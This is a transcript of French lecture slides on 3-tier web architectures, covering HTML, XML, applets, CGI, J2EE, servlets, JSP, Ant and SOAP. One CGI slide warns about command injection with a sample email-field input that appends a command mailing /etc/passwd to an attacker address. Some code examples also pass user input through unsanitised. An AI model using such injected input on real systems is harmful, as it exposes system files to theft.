Les architectures 3-tiers Partie I : les applications...

61
Les architectures 3-tiers Partie I : les applications WEB c Olivier Caron Polytech’Lille

Transcript of Les architectures 3-tiers Partie I : les applications...

Page 1: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

Les architectures 3-tiersPartie I : les applications WEB

c© Olivier Caron

Polytech’Lille

Page 2: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

1

Evolutions logicielles√

Des objets aux composants. . .

I Objets JavaBeans, Objets ActiveX, Objets COM,. . .

Polytech’Lillec© Olivier Caron

Page 3: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

1

Evolutions logicielles√

Des objets aux composants. . .

I Objets JavaBeans, Objets ActiveX, Objets COM,. . .√

Des objets aux objets distribues :

I Objets RMI, Objets CORBA, Objets DCOM,. . .

Polytech’Lillec© Olivier Caron

Page 4: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

1

Evolutions logicielles√

Des objets aux composants. . .

I Objets JavaBeans, Objets ActiveX, Objets COM,. . .√

Des objets aux objets distribues :

I Objets RMI, Objets CORBA, Objets DCOM,. . .√

Vers des composants distribues :

I composants EJB, composants CORBA, .Net

Polytech’Lillec© Olivier Caron

Page 5: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

2

Les architectures 3-tiers (1/3)

...

SGBD

Fichiers

Applets Java

Form HTML

JSP

Composants Serveur

Réseau

Polytech’Lillec© Olivier Caron

Page 6: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

3

Les architectures 3-tiers (2/3)√

Le troisieme niveau : les donnees

I Stockage des donnees (SGBD, fichiers,. . .)

I Reutilisation de code existant (ex : processus COBOL)√Le second niveau : le traitement des donnees

I Le programmeur gere le code metier

I Le gestionnaire de composants gere le reste (persistance, transac-

tions, securite. . .).

Polytech’Lillec© Olivier Caron

Page 7: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

4

Les architectures 3-tiers (3/3)√

Le premier niveau : l’interface graphique

I Uniquement l’aspect visuel

I Pas de code metier !

I Uniquement affichage et transfert d’informations (formulaires)

I Plusieurs interfaces possibles pour une meme application (Wap, PC,

PDA,. . .)

I Un protocole privilegie : le WEB (http)

• deploiement automatique des applications !

Polytech’Lillec© Olivier Caron

Page 8: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

5

Le langage HTML√

Simplification de SGML√CERN de Geneve , les Normes (http://www.w3c.org)√Langage non rigoureux (ex : paragraphe, logiciel tidy)√Langage a base de tag :<nomCommande attribut1=valeur1 ... attributN=valeurN></nomCommande>ou <nomCommande ... />√Des evolutions : DHTML, XHTML,. . .√De l’habillage : flash, javascript,. . .

Polytech’Lillec© Olivier Caron

Page 9: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

6

Le langage XML (1/2)√

Langage de balisage de document√Donnees structurees√Format d’echange (MS Office 20XX ?)√Futur langage du Web ?√XML dispose :

I d’un langage de description de format (dtd)

I du code XML (conforme a la dtd)

I et bien plus encore : XSL, XMI,. . .

Polytech’Lillec© Olivier Caron

Page 10: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

7

Exemple de code XML<?xml version="1.0" encoding ="UTF-8" standalone="no" ?><!DOCTYPE PROTEIN SYSTEM "protein.dtd"><PROTEIN name="BICOID" length="422">

<GENE name="Bicoid"/><INTERACTION><PROTEIN name="BICOID"/><GENE name="Hunchback"/>

</INTERACTION></PROTEIN>

Polytech’Lillec© Olivier Caron

Page 11: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

8

Exemple de code dtd-XML<?xml version="1.0" encoding ="UTF-8" ?><!-- protein.dtd -->

<!ELEMENT PROTEIN (GENE?,INTERACTION*)><!ATTLIST PROTEIN name CDATA #REQUIRED

length CDATA #IMPLIED><!ELEMENT GENE EMPTY><!ATTLIST GENE name CDATA #REQUIRED>

<!ELEMENT INTERACTION(PROTEIN,GENE)>

Polytech’Lillec© Olivier Caron

Page 12: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

9

Le langage XML (2/2)√

Definition de parcours de donnees XML : Sax, DOM√Existence de parsers generiques (Java, C, . . .)√Definition de DTD pour differents domaines (molecules, MathML,. . .)√Outils BD et XML (Oracle,. . .)

Polytech’Lillec© Olivier Caron

Page 13: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

10

Les pages webs dynamiques : les applets Java (1/3)√

Definition : Une applet Java est un programme compile, telecharge

sur le web, et interprete au sein d’un navigateur.

import java.applet.Applet;import java.awt.Graphics;

public class HelloWorld extends Applet {public void paint(Graphics g) {g.drawString("Hello world!", 50, 25);

}}

Polytech’Lillec© Olivier Caron

Page 14: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

11

Pages webs dynamiques : les applets Java (2/3)<HTML><HEAD> <TITLE> A Simple Program </TITLE> </HEAD><BODY>Here is the output of my program:<APPLET CODE="HelloWorld.class" WIDTH=150 HEIGHT=25></APPLET>

</BODY></HTML>√

Clause ARCHIVE√Clause PARAM

Polytech’Lillec© Olivier Caron

Page 15: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

12

Pages webs dynamiques : les applets Java (3/3)√

Contraintes de securite : acces disque, acces reseau√Securite de l’applet (ex : mot de passe dans le code)√Le navigateur manipule egalement l’applet (init, start, stop et destroy)

Polytech’Lillec© Olivier Caron

Page 16: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

13

Pages webs dynamiques : les programmes CGI (1/3)√

Les programmes C.G.I. : Common Gateway Interface√Execution sur le serveur web√Tout langage qui :

I peut lire des variables d’environnement

I peut lire sur la sortie standard

I ex : shell unix, C, perl,√Pas de notion de session

Polytech’Lillec© Olivier Caron

Page 17: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

14

Pages webs dynamiques : les programmes CGI (2/3)√

Un exemple :<form action="http://sweethome/cgi-bin/prog.cgi" method=post>

Votre nom : <input type="text" name="nom"> <p>Votre adresse Email : <input type="text" name="email"><p><input type="submit" value="valider">

</form>√Envoi des donnees par GET : donnees concatenees a l’URL, limitation

taille des donnees, donnees visibles, utilisation possible sans formulaire√Envoi des donnees par POST : donnees envoyes a part, chiffrement

possibles (ENCRYPT), pas de limitation de taille.

Polytech’Lillec© Olivier Caron

Page 18: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

15

Pages webs dynamiques : les programmes CGI (3/3)√

Les actions du serveur web :

I Stocke les donnees du formulaire dans une variable d’environnement

I Lance le programme CGI correspondant (verification securite) en

redirigeant la sortie standard.√Attention a la securite, exemple :

code CGI (en shell) : mail $adresse < doc.txt

saisie champ email : [email protected] ; mail badBoy@badLand < /etc/passwd;

Polytech’Lillec© Olivier Caron

Page 19: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

16

L’architecture J2EE de SUN (1/2)√

Specifications d’une architecture logicielle basee sur Java

Polytech’Lillec© Olivier Caron

Page 20: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

17

L’architecture J2EE de SUN (2/2)√

Notion de serveur d’applications√Gere des containers :

I Containers dedie aux composants web (war file)

I Containers dedie aux composants EJB (jar file)√Uniquement une norme !

Polytech’Lillec© Olivier Caron

Page 21: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

18

J2EE : qu’est-ce qu’un composant ?√

Du code respectant un framework particulier (JSP, Servlets, EJB)√Des informations qui permettent de configurer le composant

I Descriptions standardisees au format XML

Polytech’Lillec© Olivier Caron

Page 22: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

18

J2EE : qu’est-ce qu’un composant ?√

Du code respectant un framework particulier (JSP, Servlets, EJB)√Des informations qui permettent de configurer le composant

I Descriptions standardisees au format XML√

Reutilisabilite des composants :

I On modifie les descriptions XML, pas le code !

Polytech’Lillec© Olivier Caron

Page 23: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

19

Cycle de vie des composants webs J2EE

1. Developpement du composant

2. Archivage du composant dans un fichier normalise (war) avec indications

de deploiement (noms symboliques des composants,. . .)

3. Archivage dans une application j2ee (ear) avec informations de

deploiement

4. Deploiement de l’application vers un serveur d’application compatible

J2EE.

Polytech’Lillec© Olivier Caron

Page 24: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

20

Archivage des composants√

Outil d’archivage Jar :

I Implementation Java structure ZIP

I Java donc multi-plate-forme

I exemples utilisation commande :

jar cvf mesComposants.jar mesComposants/

jar tvf mesComposants.jar

jar xvf mesComposants.jar

Polytech’Lillec© Olivier Caron

Page 25: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

20

Archivage des composants√

Outil d’archivage Jar :

I Implementation Java structure ZIP

I Java donc multi-plate-forme

I exemples utilisation commande :

jar cvf mesComposants.jar mesComposants/

jar tvf mesComposants.jar

jar xvf mesComposants.jar√

Utilise pour composants webs et ejb, java et applications J2EE

Polytech’Lillec© Olivier Caron

Page 26: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

21

Exemple : structure d’une application web

monAppli/META-INF/

application.xmlmesComposantsWeb.war

jar cvf monAppli.earmonAppli/*

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE application PUBLIC ’-//Sun Microsystems,Inc.//DTD J2EE Application 1.3//EN’’http://java.sun.com/dtd/application_1_3.dtd’>

<application><display-name>monAppli</display-name><description>un exemple</description><module><web>

<web-uri>mesComposantsWeb.war</web-uri><context-root>repertoireRacine</context-root>

</web></module>

</application>

Polytech’Lillec© Olivier Caron

Page 27: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

22

Exemple : Structure d’un composant web

mesComposantsWeb/WEB-INF/

web.xmlfic.htmlprog.jsp...

jar cvf mesComposantsWeb.jarmesComposantsWeb/*

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE web-app PUBLIC ’-//Sun Microsystems’ ’http://java.sun.com/dtd/web-app_2_3.dtd’><web-app>

<display-name>mesComposantsWeb</display-name><servlet><servlet-name>prog</servlet-name><display-name>prog</display-name><jsp-file>/prog.jsp</jsp-file>

</servlet><servlet-mapping><servlet-name>prog</servlet-name><url-pattern>/progAlias</url-pattern>

</servlet-mapping></web-app>

Polytech’Lillec© Olivier Caron

Page 28: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

23

Implementations J2EE√

Produits commerciaux : IBM Websphere, BEA WebLogic,. . .√Produits libres :

I The Jakarta project (http://jakarta.apache.org/)dedie aux applications Web, produit phare :Tomcat (servlets)

I OpenEJB, Sun J2EE,. . .√JBoss (http ://www.jboss.org) :

I Integre Tomcat, SGBD

I Open Source (environ 200 000 telechargements / mois),

I Deploiement equivaut a une copie dans un repertoire !

Polytech’Lillec© Olivier Caron

Page 29: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

24

Les pages webs dynamiques : les servlets (1/2)√

Les servlets :√Analogue a CGI (execution cote serveur) mais :

I Langage Java

I module serveur servlets (ex : Tomcat)

I Notion de session !

Polytech’Lillec© Olivier Caron

Page 30: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

25

Les pages webs dynamiques : les servlets (2/2)import java.io.*;import javax.servlet.*;import javax.servlet.http.*;public class Hello extends HttpServlet {public void doGet(HttpServletRequest req, HttpServletResponse res)

throws ServletException, IOException {res.setContentType("text/html");PrintWriter out = res.getWriter();String name = req.getParameter("name");out.println("<HTML><HEAD><TITLE>Hello, " + name + "</TITLE></HEAD>");out.println("<BODY>");out.println("Hello, " + name);out.println("</BODY></HTML>");

}}

Polytech’Lillec© Olivier Caron

Page 31: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

26

Les pages webs dynamiques : les JSP√

Les Java Server Page (analogue a ASP)

I du code JAVA dans du code HTML (scriptlet)

I Generation automatique de servlets

I Le client ne voit que du code HTML !

Polytech’Lillec© Olivier Caron

Page 32: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

27

Les pages webs dynamiques : PHP (1/2)√

Le langage PHP (hors J2EE)

I Un nouveau langage de script !

I API vers plusieurs bases de donnees (Oracle, Sybase, Postgres,. . .)

I Le client ne voit que du code HTML !

Polytech’Lillec© Olivier Caron

Page 33: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

28

Un exemple complet JSP (1/6)√Le formulaire HTML<HTML><BODY BGCOLOR = "WHITE"><H3>calculer son salaire</H3><FORM METHOD="GET" ACTION="salaireAlias">Entrez votre nom: <INPUT TYPE="TEXT" NAME="NOM"><P>Entrez votre salaire actuel: <INPUT TYPE="TEXT" NAME="SALAIRE"><INPUT TYPE="SUBMIT" VALUE="Submit"><INPUT TYPE="RESET"></FORM></BODY></HTML>

Polytech’Lillec© Olivier Caron

Page 34: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

29

Un exemple complet JSP (2/6)√

Des commentaires

<HTML><HEAD><TITLE>Calcul de l’augmentation</TITLE></HEAD>

<%-- debut commentaireScriptlet pour importer les packages JAVA<%@ indique une directive JSP--%>

Polytech’Lillec© Olivier Caron

Page 35: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

30

Un exemple complet JSP (3/6)√

Des directives :

<%@ page import="java.util.*" %>

Polytech’Lillec© Olivier Caron

Page 36: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

31

Un exemple complet JSP (4/6)√

Declarations de variables :

<%! String nom, salaire; %><%! double newSalaire ; %>

Polytech’Lillec© Olivier Caron

Page 37: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

32

Un exemple complet JSP (5/6)√

scriptlet√Des variables predefinies : request, session, response, out, in<%nom = request.getParameter("NOM");salaire = request.getParameter("SALAIRE");if (nom.equals("caron"))newSalaire=3.0 * (new Integer(salaire).intValue()) ;

elsenewSalaire=1.5 * (new Integer(salaire).intValue()) ;

%>

Polytech’Lillec© Olivier Caron

Page 38: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

33

Un exemple complet JSP (6/6)√

Des expressions :

<H1> Calcul du salaire : </H1>Votre salaire vaut maintenant : <%= newSalaire %><P>

Polytech’Lillec© Olivier Caron

Page 39: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

34

Plate-forme J2EE Polytech’Lille√

Serveur d’application JBoss (http ://www.jboss.org)√Moteur de servlets Tomcat 4.0√JDK 1.3.1√Outils associes :

I Apache Ant

I XDoclet

I et un editeur texte. . .

Polytech’Lillec© Olivier Caron

Page 40: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

35

L’outil Ant√

Un makefile ecrit en Java (donc multi-plateforme :-)√Descriptions XML√OpenSource√De nombreuses taches predefinies (javac, jar, . . .)√Architecture ouverte : on peut creer de nouvelles taches

Polytech’Lillec© Olivier Caron

Page 41: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

36

Principe de Ant<!-- fichier build.xml --><project name="exemple"

default="B" basedir="."><target name="A">

<tache1 .../><tache2 .../>

</target><target name="B" depends="A">...</target><target name="C"> ...</target><target name="D" depends="A,B">...</target>

</project>

ant

ant C

ant -f build.xml

ant -f toto.xml D√Description des taches et options

a :

file :///usr/local/xdoclet-1-2b3/docs/index.html

Polytech’Lillec© Olivier Caron

Page 42: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

37

Ant par l’exemple<project name="exemple"

default="compile" basedir="."><property name="name"

value="proj" /><property name="src"

value="src" /><property name="build"

value="build" /><target name="init">

<mkdir dir="${build}" /></target>

<target name="compile" depends="init"><javac srcdir="${src}"

destdir="${build}" /><jar jarfile="${name}.jar"

basedir="${build}" /></target>

<target name="clean"<delete dir="${build}" /><delete file="${name}.jar" />

</target></project>

Polytech’Lillec© Olivier Caron

Page 43: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

38

Une autre strategie : les “Web Services”√

Le protocole SOAP (Simple Object Access Protocol) :

I Specifications standard WC3

Polytech’Lillec© Olivier Caron

Page 44: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

38

Une autre strategie : les “Web Services”√

Le protocole SOAP (Simple Object Access Protocol) :

I Specifications standard WC3

I Microsoft est a l’origine

Polytech’Lillec© Olivier Caron

Page 45: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

38

Une autre strategie : les “Web Services”√

Le protocole SOAP (Simple Object Access Protocol) :

I Specifications standard WC3

I Microsoft est a l’origine

I Objectif : fournir un langage derive de XML pour decrire l’echange

de messages entre applications

Polytech’Lillec© Olivier Caron

Page 46: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

38

Une autre strategie : les “Web Services”√

Le protocole SOAP (Simple Object Access Protocol) :

I Specifications standard WC3

I Microsoft est a l’origine

I Objectif : fournir un langage derive de XML pour decrire l’echange

de messages entre applications

I S’appuie sur des standards : http, XML

Polytech’Lillec© Olivier Caron

Page 47: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

39

Principe de SOAP√

Une commande est envoye sous forme de message XML,

(une sorte de XML-RPC)

Polytech’Lillec© Olivier Caron

Page 48: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

39

Principe de SOAP√

Une commande est envoye sous forme de message XML,

(une sorte de XML-RPC)√Transite par le protocole http

Polytech’Lillec© Olivier Caron

Page 49: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

39

Principe de SOAP√

Une commande est envoye sous forme de message XML,

(une sorte de XML-RPC)√Transite par le protocole http√Sur le serveur, le message est decode puis execution commande

Polytech’Lillec© Olivier Caron

Page 50: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

40

Les avantages de SOAP√

Pas de couche reseau specifique : http standard

Polytech’Lillec© Olivier Caron

Page 51: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

40

Les avantages de SOAP√

Pas de couche reseau specifique : http standard√Plus facile a mettre en œuvre que CORBA, RMI, . . .

Polytech’Lillec© Olivier Caron

Page 52: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

40

Les avantages de SOAP√

Pas de couche reseau specifique : http standard√Plus facile a mettre en œuvre que CORBA, RMI, . . .√Pas de probleme de firewall, proxys,etc

Polytech’Lillec© Olivier Caron

Page 53: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

40

Les avantages de SOAP√

Pas de couche reseau specifique : http standard√Plus facile a mettre en œuvre que CORBA, RMI, . . .√Pas de probleme de firewall, proxys,etc√Reutilisation d’applications existantes et accessible par le web√De nombreux outils arrivent : MS Queue Series, Apache SOAP,. . .√Outils de generation automatique de XML-SOAP !

Polytech’Lillec© Olivier Caron

Page 54: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

41

L’avenir de SOAP√

L’une des briques de base de .NET

Polytech’Lillec© Olivier Caron

Page 55: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

41

L’avenir de SOAP√

L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants

Polytech’Lillec© Olivier Caron

Page 56: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

41

L’avenir de SOAP√

L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants√C’est une reponse au probleme de multi-plateformes et multi-langages

Polytech’Lillec© Olivier Caron

Page 57: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

41

L’avenir de SOAP√

L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants√C’est une reponse au probleme de multi-plateformes et multi-langages√Prise en compte de la securite (en cours)

Polytech’Lillec© Olivier Caron

Page 58: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

41

L’avenir de SOAP√

L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants√C’est une reponse au probleme de multi-plateformes et multi-langages√Prise en compte de la securite (en cours)√Pas de transaction possible (http)

Polytech’Lillec© Olivier Caron

Page 59: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

42

Conclusion√

Incontournable !

Polytech’Lillec© Olivier Caron

Page 60: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

42

Conclusion√

Incontournable !√Technologie J2EE en avance (JSP, JSTL, Servlets)

Polytech’Lillec© Olivier Caron

Page 61: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e

42

Conclusion√

Incontournable !√Technologie J2EE en avance (JSP, JSTL, Servlets)√Des frameworks compatible MVC (Struts, JSF,. . .)

Polytech’Lillec© Olivier Caron